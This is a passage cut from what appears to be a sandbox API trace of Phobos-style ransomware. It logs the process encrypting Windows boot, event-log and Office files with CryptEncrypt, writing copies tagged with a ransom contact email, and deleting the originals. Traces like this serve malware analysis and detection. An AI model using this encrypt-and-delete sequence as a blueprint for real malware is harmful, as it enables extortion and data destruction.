pbBuffer=0x3fdfba8) returned 1 [0147.879] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0147.884] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=63840) returned 1 [0147.884] CloseHandle (hObject=0x53c) returned 1 [0147.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0147.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.884] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.884] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0147.884] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0148.180] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=42392) returned 1 [0148.180] CloseHandle (hObject=0x574) returned 1 [0148.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui")) returned 0x20 [0148.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.210] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.210] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0148.210] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0148.211] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1052672) returned 1 [0148.211] CloseHandle (hObject=0x574) returned 1 [0148.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20 [0148.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.211] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0148.211] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fdfae8 | out: lpNewFilePointer=0x0) returned 1 [0148.212] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fdfae8 | out: lpNewFilePointer=0x0) returned 1 [0148.212] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0148.213] CryptImportKey (in: hProv=0x8067b0, pbData=0x3fdfaa0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3fdfafc | out: phKey=0x3fdfafc*=0x8955b8) returned 1 [0148.213] CryptSetKeyParam (hKey=0x8955b8, dwParam=0x1, pbData=0x3fdfba8, dwFlags=0x0) returned 1 [0148.213] ReadFile (in: hFile=0x574, lpBuffer=0x4382020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3fdfb24, lpOverlapped=0x0 | out: lpBuffer=0x4382020*, lpNumberOfBytesRead=0x3fdfb24*=0x101000, lpOverlapped=0x0) returned 1 [0148.467] CryptEncrypt (in: hKey=0x8955b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4382020*, pdwDataLen=0x3fdfac0*=0x101010, dwBufLen=0x101010 | out: pbData=0x4382020*, pdwDataLen=0x3fdfac0*=0x101010) returned 1 [0148.468] WriteFile (in: hFile=0x580, lpBuffer=0x4382020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x3fdfb08, lpOverlapped=0x0 | out: lpBuffer=0x4382020*, lpNumberOfBytesWritten=0x3fdfb08*=0x101010, lpOverlapped=0x0) returned 1 [0148.491] CryptImportKey (in: hProv=0x8067b0, pbData=0x3fdfa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3fdfb00 | out: phKey=0x3fdfb00*=0x8954f8) returned 1 [0148.491] CryptSetKeyParam (hKey=0x8954f8, dwParam=0x1, pbData=0x3fdfba8, dwFlags=0x0) returned 1 [0148.491] CryptEncrypt (in: hKey=0x8954f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4382020*, pdwDataLen=0x3fdfac0*=0x90, dwBufLen=0x90 | out: pbData=0x4382020*, pdwDataLen=0x3fdfac0*=0x90) returned 1 [0148.491] CryptDestroyKey (hKey=0x8954f8) returned 1 [0148.491] WriteFile (in: hFile=0x580, lpBuffer=0x4382020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x3fdfb08, lpOverlapped=0x0 | out: lpBuffer=0x4382020*, lpNumberOfBytesWritten=0x3fdfb08*=0x142, lpOverlapped=0x0) returned 1 [0148.491] CryptDestroyKey (hKey=0x8955b8) returned 1 [0148.491] CloseHandle (hObject=0x574) returned 1 [0148.491] CloseHandle (hObject=0x580) returned 1 [0148.703] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1 [0148.704] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0148.704] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0148.705] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=69632) returned 1 [0148.705] CloseHandle (hObject=0x580) returned 1 [0148.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0148.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\setup.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.705] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0148.705] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fdfae8 | out: lpNewFilePointer=0x0) returned 1 [0148.705] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fdfae8 | out: lpNewFilePointer=0x0) returned 1 [0148.706] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\setup.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0148.706] CryptImportKey (in: hProv=0x8067b0, pbData=0x3fdfaa0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3fdfafc | out: phKey=0x3fdfafc*=0x8951b8) returned 1 [0148.706] CryptSetKeyParam (hKey=0x8951b8, dwParam=0x1, pbData=0x3fdfba8, dwFlags=0x0) returned 1 [0148.706] ReadFile (in: hFile=0x580, lpBuffer=0x4382020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3fdfb24, lpOverlapped=0x0 | out: lpBuffer=0x4382020*, lpNumberOfBytesRead=0x3fdfb24*=0x11000, lpOverlapped=0x0) returned 1 [0148.718] CryptEncrypt (in: hKey=0x8951b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4382020*, pdwDataLen=0x3fdfac0*=0x11010, dwBufLen=0x11010 | out: pbData=0x4382020*, pdwDataLen=0x3fdfac0*=0x11010) returned 1 [0148.718] WriteFile (in: hFile=0x57c, lpBuffer=0x4382020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3fdfb08, lpOverlapped=0x0 | out: lpBuffer=0x4382020*, lpNumberOfBytesWritten=0x3fdfb08*=0x11010, lpOverlapped=0x0) returned 1 [0148.720] CryptImportKey (in: hProv=0x8067b0, pbData=0x3fdfa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3fdfb00 | out: phKey=0x3fdfb00*=0x895278) returned 1 [0148.720] CryptSetKeyParam (hKey=0x895278, dwParam=0x1, pbData=0x3fdfba8, dwFlags=0x0) returned 1 [0148.720] CryptEncrypt (in: hKey=0x895278, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4382020*, pdwDataLen=0x3fdfac0*=0x40, dwBufLen=0x40 | out: pbData=0x4382020*, pdwDataLen=0x3fdfac0*=0x40) returned 1 [0148.720] CryptDestroyKey (hKey=0x895278) returned 1 [0148.720] WriteFile (in: hFile=0x57c, lpBuffer=0x4382020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3fdfb08, lpOverlapped=0x0 | out: lpBuffer=0x4382020*, lpNumberOfBytesWritten=0x3fdfb08*=0xf2, lpOverlapped=0x0) returned 1 [0148.721] CryptDestroyKey (hKey=0x8951b8) returned 1 [0148.721] CloseHandle (hObject=0x580) returned 1 [0148.721] CloseHandle (hObject=0x57c) returned 1 [0148.726] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1 [0148.829] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0148.829] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0148.882] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1118208) returned 1 [0148.882] CloseHandle (hObject=0x57c) returned 1 [0148.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0148.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\System.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\system.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.882] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0148.882] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fdfae8 | out: lpNewFilePointer=0x0) returned 1 [0148.883] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fdfae8 | out: lpNewFilePointer=0x0) returned 1 [0148.883] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\system.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0148.884] CryptImportKey (in: hProv=0x8067b0, pbData=0x3fdfaa0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3fdfafc | out: phKey=0x3fdfafc*=0x895238) returned 1 [0148.884] CryptSetKeyParam (hKey=0x895238, dwParam=0x1, pbData=0x3fdfba8, dwFlags=0x0) returned 1 [0148.884] ReadFile (in: hFile=0x57c, lpBuffer=0x4382020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3fdfb24, lpOverlapped=0x0 | out: lpBuffer=0x4382020*, lpNumberOfBytesRead=0x3fdfb24*=0x110100, lpOverlapped=0x0) returned 1 [0148.927] CryptEncrypt (in: hKey=0x895238, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4382020*, pdwDataLen=0x3fdfac0*=0x110100, dwBufLen=0x110100 | out: pbData=0x4382020*, pdwDataLen=0x3fdfac0*=0x110100) returned 1 [0148.928] WriteFile (in: hFile=0x580, lpBuffer=0x4382020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x3fdfb08, lpOverlapped=0x0 | out: lpBuffer=0x4382020*, lpNumberOfBytesWritten=0x3fdfb08*=0x110100, lpOverlapped=0x0) returned 1 [0149.200] ReadFile (in: hFile=0x57c, lpBuffer=0x4382020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3fdfb24, lpOverlapped=0x0 | out: lpBuffer=0x4382020*, lpNumberOfBytesRead=0x3fdfb24*=0xf00, lpOverlapped=0x0) returned 1 [0149.201] CryptEncrypt (in: hKey=0x895238, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4382020*, pdwDataLen=0x3fdfac0*=0xf10, dwBufLen=0xf10 | out: pbData=0x4382020*, pdwDataLen=0x3fdfac0*=0xf10) returned 1 [0149.201] WriteFile (in: hFile=0x580, lpBuffer=0x4382020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x3fdfb08, lpOverlapped=0x0 | out: lpBuffer=0x4382020*, lpNumberOfBytesWritten=0x3fdfb08*=0xf10, lpOverlapped=0x0) returned 1 [0149.201] CryptImportKey (in: hProv=0x8067b0, pbData=0x3fdfa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3fdfb00 | out: phKey=0x3fdfb00*=0x895438) returned 1 [0149.201] CryptSetKeyParam (hKey=0x895438, dwParam=0x1, pbData=0x3fdfba8, dwFlags=0x0) returned 1 [0149.201] CryptEncrypt (in: hKey=0x895438, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4382020*, pdwDataLen=0x3fdfac0*=0x40, dwBufLen=0x40 | out: pbData=0x4382020*, pdwDataLen=0x3fdfac0*=0x40) returned 1 [0149.201] CryptDestroyKey (hKey=0x895438) returned 1 [0149.201] WriteFile (in: hFile=0x580, lpBuffer=0x4382020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3fdfb08, lpOverlapped=0x0 | out: lpBuffer=0x4382020*, lpNumberOfBytesWritten=0x3fdfb08*=0xf2, lpOverlapped=0x0) returned 1 [0149.201] CryptDestroyKey (hKey=0x895238) returned 1 [0149.201] CloseHandle (hObject=0x57c) returned 1 [0149.201] CloseHandle (hObject=0x580) returned 1 [0149.272] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1 [0149.274] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.287] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=102) returned 1 [0149.287] CloseHandle (hObject=0x580) returned 1 [0149.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0149.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.288] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.288] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=102) returned 1 [0149.288] CloseHandle (hObject=0x580) returned 1 [0149.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0149.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.289] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.289] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1093248) returned 1 [0149.289] CloseHandle (hObject=0x580) returned 1 [0149.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0149.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.290] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.290] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=358616) returned 1 [0149.291] CloseHandle (hObject=0x580) returned 1 [0149.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0149.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.291] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.291] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=3144288) returned 1 [0149.291] CloseHandle (hObject=0x580) returned 1 [0149.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20 [0149.292] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0149.292] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0 [0149.292] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.292] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=4677216) returned 1 [0149.292] CloseHandle (hObject=0x580) returned 1 [0149.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0149.292] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0149.293] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0 [0149.293] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft 